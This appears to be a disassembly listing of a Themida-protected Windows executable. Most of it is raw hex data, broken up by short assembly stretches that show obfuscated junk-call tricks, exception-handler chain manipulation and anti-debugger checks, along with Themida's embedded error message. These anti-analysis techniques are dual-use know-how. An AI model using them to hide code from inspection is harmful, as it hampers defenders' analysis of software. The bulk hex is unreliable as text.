dd 0BF858D79h, 290614F7h, 1215ADBDh, 0A8E906h, 0EE90000h
dd 27000000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h, 72E28140h
dd 8365B82Bh, 121DC5BDh, 840F0006h, 6Dh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 91C35343h, 675CC060h
dd 3EA26276h, 1FCD9D09h, 0F500612h, 289h, 5F616000h, 0F7EA858Dh
dd 9600614h, 123455BDh, 5890F06h, 66000000h, 0D687E781h
dd 30E961h, 0FE80000h, 0AA000000h, 36D5CA83h, 8A513318h
dd 0C936E454h, 9501C305h, 612036Dh, 0CC858D5Ah, 600614F7h
dd 5E9h, 37A97400h, 0EB80CD6Eh, 858961D7h, 614F7FFh, 8E8h
dd 0A5B9AC00h, 47231031h, 8D8D8BF2h, 5A061208h, 1DC5BD83h
dd 0F000612h, 4185h, 0F6C28100h, 8351C97Ch, 150786BDh
dd 840F0006h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 9C35343h, 1DD51B43h, 5FB824F0h, 5E9h
dd 9F7B1200h, 0E5E94C08h, 0F5000010h, 52AE9h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 9A109216h, 0D1B70F97h, 0BD33C08Bh, 61225BDh, 2F01BD83h
dd 75000612h, 49BD8309h, 61221h, 53501974h, 0D4B8C08Bh
dd 89000007h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h
dd 122149BDh, 17740006h, 0D4B85350h, 89000007h, 120B3585h
dd 0F89D8D06h, 0FF0614A9h, 89585BD3h, 122F51BDh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0E125F34Fh, 0C77EF281h, 0C08B3E38h, 32C5BD89h, 3F680612h
dd 89000F00h, 1232E185h, 0F8006A06h, 13B9006Ah, 0FF229E0Ah
dd 121CA195h, 0C5BD8B06h, 85061218h, 19850FC0h, 0E8000000h
dd 0Dh, 0ED4827Ch, 0AF8572E9h, 4C0DAF9Ch, 89B58984h, 59061218h
dd 0F7838589h, 0FE80614h, 34000000h, 2001E6D0h, 0EF1DDA29h
dd 0B4B3B77Dh, 0C7816A0Ah, 1F5B3F8Ah, 9006A5Ah, 122E01BDh
dd 6AFB8B06h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 0E931B65Fh, 0Ch, 0EE0FD29Eh, 9A46ED8Bh
dd 0E77D1FEDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0A5E7BAC3h, 6A006A5Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0C573C350h, 0C1B535EFh, 0AE9006Ah, 53000000h, 0D01BE089h
dd 0D28372A7h, 61858D62h, 0B90614F9h, 2B8A3C99h, 11E9h
dd 5B6CD600h, 0C7178C55h, 33C13124h, 605E4AC8h, 8950B1D7h
dd 1223AD9Dh, 60016A06h, 0F099D89h, 95290612h, 6122CF5h
dd 6A016A61h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 0A3BFC352h, 16A005Ah, 1FCD8D89h
dd 0FF680612h, 89000F01h, 1215BDBDh, 0C5BD8306h, 6121Dh
dd 55840Fh, 8B660000h, 0E0858DCBh, 6A0614F7h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 2A9EC353h, 0BD8B4AA0h, 6120009h, 13F5958Bh, 0BD8B0612h
dd 6122755h, 30E9h, 11E900h, 612C0000h, 5A6CE7CBh, 16014453h
dd 0C1A7F5F1h, 8D972EC9h, 14F7B685h, 0FE906h, 7FED0000h
dd 279D4BC6h, 339AE408h, 5E71F3DBh, 880F505Dh, 12h, 6E8h
dd 54664B00h, 0F0F9830h, 8Bh, 0E9505A00h, 7, 0A095BFA3h
dd 0FF177D8Fh, 14F783B5h, 0B9C28106h, 0FF1973F6h, 14F76F95h
dd 7DB58906h, 89061229h, 12332D9Dh, 0FC08506h, 5185h, 90BA6600h
dd 99E94Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0D5233EC3h, 1D820FD5h, 0E8000000h
dd 11h, 125EECA1h, 2AB413B9h, 0EAB696DEh, 0E91143Eh, 4995035Ch
dd 5A061204h, 1225B589h, 85890612h, 614F787h, 2CDBD03h
dd 0B5890612h, 6121655h, 0F787B5FFh, 6A0614h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DA9DE4C3h
dd 80222DA9h, 0FFAC7527h, 12278D95h, 0FC08506h, 685h, 8D0F00h
dd 6A000000h, 459D8910h, 8306121Dh, 121DC5BDh, 840F0006h
dd 50h, 858D51B6h, 614F7E0h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 10C35747h, 10ED057Bh, 51116D8Fh
dd 1F75BD23h, 0E9590612h, 0Dh, 49A22FC2h, 192165F8h, 741E0F82h
dd 0FE95Fh, 8D090000h, 6121299h, 0F7B6858Dh, 0DA800614h
dd 6A50ADh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 4D01BDC3h, 15F54F97h, 0EE9B01Dh, 28000000h
dd 4FFCA2h, 0BDCA5BFBh, 0F80CD2DDh, 3A68BA4Eh, 0B5FF69C0h
dd 614F783h, 0BDE18166h, 7B95FF42h, 850614F7h, 21850FC0h
dd 0E8000000h, 11h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h
dd 0BD8956F0h, 61200C5h, 0D78B5F5Fh, 0F7878589h, 6A0614h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 305FA2C3h, 9FD9BBBDh, 0EA816686h, 6A5093h, 33D9503h
dd 6A0612h, 0FFD68B66h, 14F787B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0DD520290h
dd 277D8501h, 95FF0612h, 614F773h, 543B01BFh, 0FC08532h
dd 0C85h, 0DD8D8900h, 29061220h, 121979BDh, 87B5FF06h
dd 0B90614F7h, 13BCB07Fh, 278D95FFh, 53500612h, 23CBC181h
dd 5A5A01CAh, 0FC085F5h, 2A85h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 523554C1h
dd 0A2596626h, 0C59D09C3h, 6A061228h, 8B666000h, 6AA9B9DFh
dd 68615316h, 80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0E6C35747h, 0FDB91486h, 89A510A3h, 12302595h
dd 9036A06h, 1232919Dh, 2B006A06h, 122121BDh, 0A0F58006h
dd 0B529006Ah, 6122E65h, 1BB9BD29h, 680612h, 0FC00000h
dd 0B5FFFBBFh, 614F7FFh, 2345BD89h, 95FF0612h, 6120441h
dd 0CE8h, 58FA3600h, 804C49BEh, 4A45EE21h, 0FD8D8BA9h
dd 5F061217h, 0FFF883F9h, 44E850Fh, 8D8B0000h, 6121BADh
dd 26D85FFh, 8D890615h, 6120285h, 26DBD83h, 0F020615h
dd 35584h, 0FD9D0100h, 8D061219h, 5B243B85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0B502C086h, 0FD0FF52h, 68Eh, 8DB58900h, 8D061203h, 5B1E8E85h
dd 0BD858900h, 906120Eh, 1225E1B5h, 89D0FF06h, 1223F59Dh
dd 0B1C08B06h, 1BD83CAh, 6122Fh, 0BD830975h, 6122149h
dd 50197400h, 0B8C08B53h, 7D8h, 0B358589h, 9D8D0612h, 614AD09h
dd 585BD3FFh, 2149BD83h, 74000612h, 0B8535017h, 7D8h, 0B358589h
dd 9D8D0612h, 614A9F8h, 585BD3FFh, 1D719501h, 85890612h
dd 61233F1h, 3820Fh, 0BF0F0000h, 8BC08BCBh, 3F68FAh, 8960000Fh
dd 12109195h, 0BDB86606h, 0B501612Eh, 6121B05h, 958B006Ah
dd 61208BDh, 0BD0B006Ah, 6120B39h, 1CA195FFh, 95890612h
dd 6120B39h, 0BD03C085h, 6120049h, 0F7838589h, 0BA660614h
dd 0D78B0CBCh, 0F01FF68h, 0C2EF8100h, 836C2DEAh, 121DC5BDh
dd 840F0006h, 14h, 49958Bh, 0E1800612h, 0E0858D15h, 0E90614F7h
dd 8, 0F7B6858Dh, 57B60614h, 2D952B50h, 0BF061229h, 6545234Fh
dd 0F783B5FFh, 0BD890614h, 6122CD1h, 0F77B95FFh, 0DE90614h
dd 0B9000000h, 11F86549h, 0CE0B5038h, 0EE1CA13Ch, 0F7878589h
dd 880F0614h, 8, 0F1BD0960h, 6106122Eh, 0EE8h, 67403300h
dd 4EAD6BDAh, 0E7B94EFFh, 668D7FFAh, 5FF6BABAh, 26ED85C7h
dd 612h, 0BD8B0000h, 61230A5h, 0F787BD83h, 0F000614h, 19B84h
dd 0B2C98100h, 8D736E58h, 14FA6585h, 0DD8D3306h, 0E906121Dh
dd 0Ah, 0CE512F07h, 0BA40B02Ah, 8150642Ah, 218362DAh, 0ECBA6652h
dd 89016AB0h, 121A9585h, 87B5FF06h, 890614F7h, 1207CD8Dh
dd 7F95FF06h, 0F90614F7h, 0F787B5FFh, 9D010614h, 6122899h
dd 303DBD03h, 95FF0612h, 612278Dh, 2FF59589h, 0FF680612h
dd 89000F01h, 122D49BDh, 71958B06h, 83061223h, 121DC5BDh
dd 840F0006h, 5Eh, 9F68EF81h, 858D5AB4h, 614F7E0h, 158B0Fh
dd 0EE80000h, 97000000h, 7427491Bh, 82525936h, 29EF095Ah
dd 0E95FF51Fh, 40h, 6E8h, 3458F000h, 0E81B090Eh, 8, 80CB6C66h
dd 14EB8576h, 0CE8h, 28957700h, 86A82B8Eh, 0EDD001F6h
dd 5A595AEDh, 17118D23h, 858D0612h, 614F7B6h, 9D89D78Bh
dd 61211D9h, 5860F50h, 66000000h, 6AE6D781h, 0F783B5FFh
dd 0D2810614h, 0EA30688h, 0F77B95FFh, 0FE90614h, 30000000h
dd 8C19038Eh, 7B462C1Bh, 7A44F6A3h, 85891E4Fh, 614F787h
dd 8D1BD8Bh, 0B5FF0612h, 614F787h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0ABC35545h, 0F855FFBBh, 0A8E169E1h
dd 0B4BF66ECh, 14E87Eh, 59D50000h, 80666FB7h, 8B56B2BBh
dd 8EEE2875h, 0E1EC9D1h, 0BB23853h, 7795FF5Ah, 660614F7h
dd 0BDFCCF81h, 0F787B5FFh
dd 85890614h, 61224A1h, 278D95FFh, 8D8B0612h, 6121A7Dh
dd 0FFF6F3E9h, 0A6C6BAFFh, 0B5FF5B8Eh, 61502D0h, 118DB589h
dd 0F08A0612h, 278195FFh, 0C2810612h, 7F0FA501h, 6DF8160h
dd 8B1F96ABh, 1211A1BDh, 858B6106h, 6120055h, 7D8D8B60h
dd 0E9061225h, 6, 0A47ED2E7h, 0E96107A9h, 53Ch, 1F81B589h
dd 10E90612h, 0ED000000h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
dd 8DB32EADh, 14FA85B5h, 858DF806h, 614A6D0h, 3359D89h
dd 0D0FF0612h, 13B58589h, 6A0612h, 2AC5BD8Bh, 95FF0612h
dd 6122E3Dh, 8E78166h, 56F38BF5h, 0F118589h, 8D590612h
dd 14A6D085h, 68C0F06h, 2B000000h, 1227E5BDh, 0FD0FF06h
dd 88Bh, 28F0F00h, 57000000h, 7256BA5Ah, 6A781Eh, 6820Fh
dd 0EA810000h, 17D47CFCh, 2E3D95FFh, 0BD8B0612h, 6122425h
dd 7E9C08Bh, 2D000000h, 0E6BB443Dh, 0BD838C4Ah, 6122F01h
dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 7D9B8h
dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h
dd 61221h, 53501774h, 7D9B8h, 35858900h, 8D06120Bh, 14A9F89Dh
dd 5BD3FF06h, 13E858h, 924F0000h, 6629F4CFh, 2229982Ah
dd 9C7E224h, 83D80CB2h, 0B1B58930h, 5A061211h, 25D5B589h
dd 0C08B0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0B0C35646h, 72B966BFh, 91BD8BDBh, 5006121Dh, 0D88B00B2h
dd 2465B529h, 8D530612h, 1224E59Dh, 89038B06h, 50438B03h
dd 8D504389h, 1502699Dh, 89038B06h, 8D8B5B03h, 612082Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0FAC35646h
dd 52E2798Bh, 0A6CA8151h, 5A6ABDE4h, 8B006A59h, 121AE58Dh
dd 69858D06h, 89061502h, 1216A59Dh, 85295006h, 61227C5h
dd 25E3DF81h, 606A3AA4h, 6880Fh, 8D8B0000h, 612146Dh, 33518D8Bh
dd 858D0612h, 61224E5h, 0BD0150F5h, 61214B1h, 8589006Ah
dd 61231E9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 35BA0EC3h, 680677CBh, 1800h, 59BD8BFCh
dd 5306120Ch, 2FF59529h, 95FF0612h, 612165Dh, 0CA5958Bh
dd 95FF0612h, 6121BB1h, 2CB19589h, 0B5FF0612h, 61502D0h
dd 861B589h, 95FF0612h, 6122781h, 16018D8Bh, 8B660612h
dd 0E5858DF8h, 3061224h, 1228EDBDh, 0CEBF0F06h, 6A18408Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 667EC351h, 553D281h, 87EDBA66h, 158585C7h
dd 612h, 958B0000h, 61215A5h, 1DC5BD83h, 0F000612h, 3A84h
dd 5FF55300h, 8C3Dh, 0FA830F00h, 29000001h, 122CA595h
dd 38E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 2ACC21C3h, 3DDED680h, 98h, 1C3830Fh
dd 830F0000h, 6, 2F399531h, 858D0612h, 5B243Bh, 10E9h
dd 0EB142800h, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 6AD0FFCAh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 5DF2C351h, 9661F10h, 122AC195h, 8E858D06h
dd 8B005B1Eh, 121745BDh, 6AD0FF06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C353C355h
dd 0DEDAA05Ah, 0C08BDC86h, 11E9h, 2EBC8C00h, 0CF803AACh
dd 0AF3F7B72h, 0AED53236h, 0C88BDCDAh, 2F01BD83h, 75000612h
dd 49BD8309h, 61221h, 53501974h, 0C6B8C08Bh, 8900000Bh
dd 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h, 122149BDh
dd 17740006h, 0C6B85350h, 8900000Bh, 120B3585h, 0F89D8D06h
dd 0FF0614A9h, 29585BD3h, 12296D95h, 9D89FC06h, 61218BDh
dd 0DE9h, 4FFCA200h, 0CA5BFB00h, 0CD2DDBDh, 0C08B4EF8h
dd 68B0Fh, 0BD290000h, 6121C99h, 0FFFF883h, 4C85h, 0FE900h
dd 185D0000h, 6CD27D80h, 1971F497h, 695D5572h, 6D85C715h
dd 61200h, 0B5000000h, 0FCE9F4h, 11E90000h, 5E000000h
dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 60E9h
dd 6870F00h, 89000000h, 1233E98Dh, 1F88306h, 4B850Fh, 13E80000h
dd 6C000000h, 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh
dd 0F88B653Ch, 0CEE959h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0D170F2C3h, 0FFBD8C3Bh
dd 1E51A27h, 12130585h, 0F20AE906h, 8B66FFFFh, 83C08BCBh
dd 122F01BDh, 9750006h, 2149BD83h, 74000612h, 8B535019h
dd 7DDB8C0h, 85890000h, 6120B35h, 0AD099D8Dh, 0D3FF0614h
dd 0BD83585Bh, 6122149h, 50177400h, 7DDB853h, 85890000h
dd 6120B35h, 0A9F89D8Dh, 0D3FF0614h, 11E9585Bh, 5E000000h
dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 0DAD98166h
dd 66C08B75h, 0E9CAF0BFh, 250h, 14958D8Bh, 858D0612h, 615006Dh
dd 1C999D01h, 85890612h, 6150265h, 6AEA8166h, 4FE979h
dd 8D890000h, 61225ADh, 0FE75858Dh, 40F80614h, 2DE1BD8Bh
dd 85890612h, 6150265h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 48C35646h, 5C51CD80h, 10E9h, 0AA785A00h
dd 73ABE989h, 5D4089F3h, 973EBF26h, 8D346A46h, 121BCD85h
dd 0B5FF5006h, 6150265h, 95FF006Ah, 6122D09h, 0F07F883h
dd 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 0C185C600h, 56061215h
dd 0A8B85268h, 0F1B5FF9Ch, 8D061217h, 123B4885h, 6AD0FF06h
dd 10006804h, 646A0000h, 0D0FF006Ah, 2D88589h, 85C60615h
dd 61215C1h, 0AC9B6847h, 0B5FFEC18h, 61217F1h, 3B48858Dh
dd 0D0FF0612h, 0F08BD0FFh, 15C185C6h, 684F0612h, 0C62F2661h
dd 2FD1B5FFh, 858D0612h, 6123B48h, 9D8DD0FFh, 61502D4h
dd 56286A53h, 0C085D0FFh, 85C60075h, 61215C1h, 64986841h
dd 0B5FFDB87h, 6122FD1h, 3B48858Dh, 0D0FF0612h, 2F18589h
dd 85C60615h, 61215C1h, 0E7A4684Ch, 0B5FF80A4h, 6122FD1h
dd 3B48858Dh, 0D0FF0612h, 2D89D8Bh, 5B8D0615h, 9D8D5304h
dd 61502DDh, 0FF006A53h, 0D89D8BD0h, 0C7061502h, 103h
dd 0C43C700h, 2, 2A1D9D8Bh, 85C70612h, 612072Dh, 0
; ---------------------------------------------------------------------------
push 0
push 0
push 0
mov ebx, [ebp+61502D8h]
push ebx
push 0
push dword ptr [ebp+61502D4h]
call dword ptr [ebp+61502F1h]
mov byte ptr [ebp+61215C1h], 45h
push 92A5F797h
push dword ptr [ebp+612335Dh]
lea eax, [ebp+6123B48h]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_5AED4D
mov ebx, [ebp+61502D8h]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+61502D8h]
push ebx
push 0
push dword ptr [ebp+61502D4h]
call dword ptr [ebp+61502F1h]
push dword ptr [ebp+61502D4h]
call dword ptr [ebp+6121BB1h]
loc_5AED4D: ; CODE XREF: Themida_:005AED19j
push 0
call dword ptr [ebp+6122E3Dh]
push 0
push edi
call sub_5AED60
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AED60 proc near ; CODE XREF: Themida_:005AED58p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5AED60 endp
; ---------------------------------------------------------------------------
push esi
fcomi st, st(4)
adc eax, 7AEA8046h
push 0
push eax
call sub_5AED83
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AED83 proc near ; CODE XREF: Themida_:005AED7Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5AED83 endp
; ---------------------------------------------------------------------------
test ds:6D9D89C6h, ebp
daa
fcom dword ptr [edx+esi*4-4E62D629h]
adc [edx], edx
push es
loc_5AEDA4: ; CODE XREF: Themida_:loc_5AD45Dj
lea eax, [ebp+61533D2h]
mov edi, [ebp+61216EDh]
push eax
push large dword ptr fs:0
mov [ebp+6122121h], ecx
mov large fs:0, esp
or ecx, 4E47C210h
cmp dword ptr [ebp+6122EEDh], 0
jz loc_5AEE4D
push 0
push eax
call sub_5AEDE3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AEDE3 proc near ; CODE XREF: Themida_:005AEDDBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5AEDE3 endp
; ---------------------------------------------------------------------------
fstp9 st(4)
push es
mov [ebp+6121645h], edi
cmp dword ptr [ebp+6120EE9h], 1
jnz loc_5AEE4D
push 0
push ebp
call sub_5AEE14
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AEE14 proc near ; CODE XREF: Themida_:005AEE0Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5AEE14 endp
; ---------------------------------------------------------------------------
dd 329FE5CFh, 3E62A2BFh, 8091B11Eh, 1506F1BDh, 850F0006h
dd 11h, 6860Fh, 0BD8B0000h, 6121ABDh, 116E9h
db 0
; ---------------------------------------------------------------------------
loc_5AEE4D: ; CODE XREF: Themida_:005AEDD2j
; Themida_:005AEE03j
xor ebx, ebx
sub [ebp+61221D5h], ecx
xor eax, eax
jmp loc_5AEE67
; ---------------------------------------------------------------------------
shr al, 1
lodsd
popf
test eax, 8713F2CEh
retf
; ---------------------------------------------------------------------------
popf
loc_5AEE67: ; CODE XREF: Themida_:005AEE57j
inc eax
; ---------------------------------------------------------------------------
dd 0B073F0Fh, 58F64h, 83000000h, 8B6604C4h, 0FFFB83D3h
dd 1D840Fh, 8C0F0000h, 6, 0E564E181h, 0C6E937D4h, 0F000000h
dd 683h, 0A5858900h, 0E9061221h, 53h, 9DB53156h, 59061214h
dd 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
dd 0C245C8Bh, 0E855h, 815D0000h, 1533F4EDh, 0B8838B06h
dd 8D000000h, 15348985h, 0B8838906h, 5D000000h, 81C3C033h
dd 7C085EC7h, 595091Ah, 8D061231h, 1533EA85h, 8D8B6006h
dd 61218BDh, 870Fh, 50610000h, 7299501h, 0FF640612h, 35h
dd 6E900h, 96840000h, 8678E8Ch, 258964h, 89000000h, 12118D8Dh
dd 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 6585C70Ah
dd 1061221h, 64000000h, 58Fh, 0C4830000h, 95958B04h, 0E9061224h
dd 9, 0C6AF0F19h, 342CD1FBh, 0FC08BC2h, 0BD83D3B7h, 6122F01h
dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 43DB8h
dd 0B9858900h, 8D061202h, 14AD709Dh, 5BD3FF06h, 49BD8358h
dd 61221h, 53501774h, 43DB8h, 0B9858900h, 8D061202h, 14AA119Dh
dd 5BD3FF06h, 9E858h, 0D740000h, 0B98AB433h, 89FDE05Bh
dd 122ED1BDh, 8B0F5F06h, 6, 361BD8Bh, 0C08B0612h, 147E9h
dd 400h, 392E3100h, 3031h, 6 dup(0)
dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
dd 20202020h, 25203D20h, 0D0A64h, 8B9BD83h, 0F000612h
dd 12D84h, 28858D00h, 500614A8h, 0A792858Dh, 68500614h
dd 80000001h, 0A83895FFh, 858D0614h, 615351Fh, 29858D50h
dd 50061535h, 6A006Ah, 0A7A6858Dh, 0FF500614h, 14A828B5h
dd 6995FF06h, 8D061214h, 15351F85h, 858D5006h, 615352Dh
dd 6A006A50h, 0B8858D00h, 500614A7h, 0A828B5FFh, 95FF0614h
dd 6121469h, 351F858Dh, 8D500615h, 15353985h, 6A5006h
dd 858D006Ah, 614A805h, 28B5FF50h, 0FF0614A8h, 12146995h
dd 1F858D06h, 50061535h, 3541858Dh, 6A500615h, 8D006A00h
dd 14A82385h, 0B5FF5006h, 614A828h, 146995FFh, 858D0612h
dd 615351Fh, 3D858D50h, 50061535h, 6A006Ah, 0A80C858Dh
dd 0FF500614h, 14A828B5h, 6995FF06h, 8D061214h, 15351F85h
dd 858D5006h, 6153531h, 6A006A50h, 14858D00h, 500614A8h
dd 0A828B5FFh, 95FF0614h, 6121469h, 351F858Dh, 8D500615h
dd 15353585h, 6A5006h, 858D006Ah, 614A81Bh, 28B5FF50h
dd 0FF0614A8h, 12146995h, 28B5FF06h, 0FF0614A8h, 12267195h
dd 0A2E906h, 0BD830000h, 61217D9h, 95840F00h, 83000000h
dd 120EE9BDh, 850F0006h, 11h, 12C1958Bh, 0C2810612h, 1CF8h
dd 0FE9h, 0E5958D00h, 8B061224h, 0C2813452h, 3BD4C340h
dd 13F19589h, 0BD830612h, 61213F1h, 55840F00h, 8B000000h
dd 1213F19Dh, 4CC38306h, 8589038Bh, 6153529h, 13F19D8Bh
dd 0C3830612h, 89038B50h, 15352D85h, 0F19D8B06h, 83061213h
dd 38B54C3h, 35398589h, 9D8B0615h, 61213F1h, 8B58C383h
dd 3D858903h, 8B061535h, 1213F19Dh, 5CC38306h, 8589038Bh
dd 6153531h, 8B9BD83h, 0F000612h, 0D85h, 0D9BD8300h, 61217h
dd 68840Fh, 0B5FF0000h, 6153541h, 3535B5FFh, 0B5FF0615h
dd 6153531h, 353DB5FFh, 0B5FF0615h, 6153539h, 352DB5FFh
dd 0B5FF0615h, 6153529h, 3523858Dh, 8D500615h, 15355B85h
dd 858D5006h, 612091Dh, 2195FF50h, 83061213h, 406A24C4h
dd 3545858Dh, 8D500615h, 12091D85h, 6A5006h, 2D0995FFh
dd 16A0612h, 2E3D95FFh, 0C18B0612h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 61538EFh
dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0FFh, 0
dd 0C3616000h, 0FFFFF8E9h, 27B58BFFh, 81061539h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 2BB53B00h, 0F061539h
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 13F1858Bh, 18860612h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 995FF08h, 50061216h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 13F1858Bh, 0C60612h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 61213F1h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 61210A5h, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_5AF50B
; ---------------------------------------------------------------------------
mov dword ptr [ebp+61210A5h], 100h
loc_5AF50B: ; CODE XREF: Themida_:005AF4FCj
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h
dd 0CC85C700h, 1061538h, 50000000h, 244C010Fh, 0D0858FFEh
dd 8D061538h, 1538C885h, 0D0BD8D06h, 89061538h, 23E938h
dd 858D0000h, 61224E5h, 538408Bh, 9B46F317h, 38C88589h
dd 858D0615h, 61224E5h, 893C408Bh, 1538CC85h, 0E5858D06h
